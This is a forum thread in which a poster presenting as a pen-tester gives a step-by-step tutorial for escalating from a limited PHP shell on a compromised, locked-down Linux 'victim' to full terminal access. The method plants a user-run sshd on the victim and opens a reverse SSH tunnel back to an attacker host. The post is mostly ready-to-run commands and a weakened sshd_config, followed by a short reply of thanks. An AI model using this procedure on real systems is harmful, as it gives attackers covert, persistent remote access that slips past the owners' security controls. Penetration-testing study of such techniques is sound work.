.

Tutorial - Getting from shell to Terminal on locked down box

<<

UKSecurityGuy

User avatar

Jr. Member
Jr. Member

Posts: 88

Joined: Wed Mar 27, 2013 10:51 am

Post Wed Jan 08, 2014 10:15 am

Tutorial - Getting from shell to Terminal on locked down box

I was recently Pen-Testing one of our heavily locked down Linux machines and I couldnt' find a way to get from a limited php shell to full terminal access. A look around the internet turned up a few things, but as the machine was heavily locked down, none of the usual techniques were working.

I came up with the following way to go from limited shell to full terminal access on a machine which is heavily locked down, using only SSH (which is installed on practically every Linux server going). I couldn't find another example of this written up on the internet so I thought I'd share it, in the hope that it helps someone else stuck in this position. Unfortunately I've run out of time before I could finalize the security of this procedure (there are some big holes that can be fixed with a couple of small tweaks) but I'm sure it'll be a good starting point.

From shell to Terminal - Reverse Terminal Connections over SSH

What are we trying to do here?

We’re trying to go from shell to terminal access over a machine we’ve compromised. In this instance, the victim machine is heavily locked down, and we can’t use standard methods to get terminal access over it.

How will we go about doing it?

1. Create a SSHD daemon on the victim machine that listens locally
2. Create a SSHD daemon on our attacking machine
3. Create a SSH connection from the victim to the attacker SSHD instance
4. Tunnel over the SSH connection from the attacker to the victim’s SSHD daemon instance
5. We will now have SSH terminal access to the victim machine

Requirements

1. The victim machine must have the SSH and SSHD binaries on it
2. The attacker machine must have the SSH and SSHD binaries on it
3. The victim machine must have a directory that the attacker can write to

Assumptions

1. The account on the Victim Machine you have access to does not have a set of SSH keys already
2. The account on the Victim Machine you have access to does not have a password set on it
3. Tools for generating SSH keys are not on the Victim Machine
4. There is no script/programming language such as perl/python on the Victim Machine that can be used to create terminal emulation

Security Warning

You are (potentially) about to transfer SSH private keys for both the attacker and victim machine over the wire in clear text. Although this will not let a 3rd party directly access the victim machine, it will allow a 3rd party to SSH into your attacker machine.
It will also let the Sysadmin of the victim machine to SSH back into the attacker machine if they ever find the config/keys, so the attacker could quickly become the victim!


Technical Method

Step 1 (On the Attacker Machine)

1.1 Create new user on the Attacker machine, which is used for the victim to connect back into the attacker
1.1.1 useradd <name> -s /bin/bash -m -d /home/<name>
1.1.1.1 E.g. useradd attackerMachine -s /bin/bash -m -d /home/attackerMachine
1.1.2 passwd <name>

1.2 Become the new user
1.2.1 su - <name>

1.3 Create SSH keys for that user
1.3.1 ssh-keygen -t rsa
(Just press enter lots to accept all defaults)
Two keys should be created in /home/<user>/.ssh/
id_rsa is the private key
id_rsa.pub is the public key

1.4 Copy the public key into the user’s authorized_keys file
1.4.1 cp /home/<user>/.ssh/id_rsa.pub /home/<user>/.ssh/authorized_keys

Step 2 (On the Attacker Machine)

2.1 Create a set of keys which will be used to connect into the victim machine
2.1.1 useradd <name> -s /bin/bash -m -d /home/<name>
E.g. useradd victimMachine –s /bin/bash –m –d /home/victimMachine

2.2 Become the new user
2.2.1 su - <name>

2.3 Create SSH keys for that user
2.3.1 ssh-keygen -t rsa
(Just press enter lots to accept all defaults)
Two keys should be created in /home/<user>/.ssh/
id_rsa is the private key
id_rsa.pub is the public key

2.4 Create a new SSHD instance on the attacker (This isn’t strictly necessary, you could use an existing SSHD instance)
2.4.1 <sshd location>/sshd –p <port to listen on>
E.g. /usr/sbin/sshd –p 8888


Step 3 (On the Victim Machine)

3.1 Create a directory on the victim in a location you can write to, that will act as a top level folder for holding all other folders you’re about to create
3.1.1 mkdir <top level folder>
E.g. mkdir toplevelfolder

3.2 Create a directory on the victim in the top level folder that will hold the SSH keys to access the attacker machine
3.2.1 mkdir <top level folder>/<Keys to Access Attacker>
E.g. mkdir toplevelfolder/remotekeys

3.3 Create a directory on the victim in the top level folder that will hold the SSH keys that the attacker will connect in on
3.3.1 mkdir <top level folder>/<Keys to Access Victim>
E.g. mkdir toplevelfolder/localkeys

3.4 Create a directory on the victim in the top level folder that will hold the SSH host key of the victim machine
3.4.1 mkdir <top level folder>/<Victim SSH Host Key>
E.g. mkdir toplevelfolder/hostkeys

Step 4 (Moving files between Machines)

4.1 Copy the id_rsa file created in Step 1.3 to the <top level folder>/<Keys to Access Attacker> (Created in Step 3.2) on the victim machine

4.2 Copy the id_rsa.pub file created in Step 2.3 to the <top level folder>/<Keys to Access Victim> (Created in Step 3.3) on the victim machine

4.3 Copy the id_rsa.pub AND id_rsa created in Step 2.3 to the <top level folder>/<Victim SSH Host Key> (Created in Step 3.4) on the victim machine



Step 5 (On the Victim Machine)

5.1 Create a file within the <top level folder> (Created in Step 3.1) directory on the victim, called sshd_config. Paste in the following, making modifications as dictated in the file.

  Code:
##############     CHANGE EVERYTHING BETWEEN THESE BRACKETS TO SUIT YOUR ENVIRONMENT     ##############
#This is the port our SSH server will be listening on. This needs to be above 1024 as we dont have root access
#This port needs to be unused already on the Victim
Port 6666

#Specify the location of the id_rsa.pub key that was moved in Step 4.2
AuthorizedKeysFile /tmp/toplevelfolder/localkeys/id_rsa.pub

#Specify the location and name of the id_rsa SSH host key that was moved in Step 4.3
HostKey /tmp/toplevelfolder/hostkeys/id_rsa
##############     CHANGE EVERYTHING BETWEEN THESE BRACKETS TO SUIT YOUR ENVIRONMENT     ##############

ListenAddress 127.0.0.1
Protocol 2
#Don't check permissions on home directories before allowing login, we need this if we don't own our own home directory
StrictModes no
#No need to use DNS
UseDNS no
#Do not timeout login connections
LoginGraceTime 0
#We wil be using public keys
PubkeyAuthentication yes
#This appears to be required as the low level user doesn't have permissions to be spawning processes with other permissions
UsePrivilegeSeparation no
#No need to do Challenge/Response
ChallengeResponseAuthentication no
#Allow additional things if we want to use them later on
AllowAgentForwarding yes
AllowTcpForwarding yes
X11Forwarding yes
#Allow a range of ciphers
Ciphers aes128-ctr,aes192-ctr,aes256-ctr


Step 6 (On the Victim Machine)

6.1 Change the permissions of the <top level folder> (Created in Step 3.1) directory and everything under it to only allow user read/write/execute permissions
6.1.1 chmod –R 700 <top level folder>

6.2 Locate the sshd binary on the victim machine
This might be in /usr/sbin/sshd

6.3 Run the following command on the victim, to create a new sshd instance running as the current user
6.3.1 <sshd location> -f <full top level folder path>/sshd_config

6.4 Locate a free TCP port on the attacker machine that can be used for reverse connections. Remember this for later on

6.5 Create a SSH tunnel from the victim into the attacker machine.
6.5.1 <path to ssh binary> -R <Port located in Step 6.4>:localhost:<Port that victim SSH server is listening on> -o StrictHostKeyChecking=no <name of created user on the attacker machine in Step 1.1>@<attacker ip address> -p <Port listening for SSH, started in Step 2.4> -i <top level folder>/<Keys to Access Attacker>/id_rsa

E.g. /usr/bin/ssh –R 7777:localhost:6666 -o StrictHostKeyChecking=no attackerMachine@10.20.30.5 -p 8888 -i /var/toplevelfolder/remotekeys
6.5.2 If all goes well, you should see the prompt change on the victim’s machine, and be able to browse the attackers machine


Step 7 (On the Attacker Machine)

7.1 Make sure that the port specified in Step 6.4 is listening for connections on the Attacker Machine
7.1.1 netstat –an | grep LISTEN | grep tcp

7.2 Create a SSH tunnel from the attacker to the victim, back through the tunnel already created
7.2.1 ssh <user you are running as on the victim machine>@127.0.0.1 –p <Port defined in Step 6.4> -i <location of the id_rsa file created in Step 2.3> -o StrictHostKeyChecking=no

E.g. ssh www-data@localhost –p 7777 –i /home/victimMachine/.ssh/id_rsa –o StrictHostKeyChecking=no

7.3 If everything has gone well, you should now have a terminal on the victim machine
7.3.1 You might need to launch a shell, as the user you have access to might not have a shell defined in the passwd file
E.g. /bin/bash
<<

Master Of Puppets

User avatar

Newbie
Newbie

Posts: 21

Joined: Mon Jun 24, 2013 2:20 am

Location: /bin/bash

Post Fri Feb 21, 2014 9:21 am

Re: Tutorial - Getting from shell to Terminal on locked down

Great tutorial! Thanks for sharing.

Return to Network Pen Testing

Who is online

Users browsing this forum: No registered users and 1 guest

.
Powered by phpBB® Forum Software © phpBB Group.
Designed by ST Software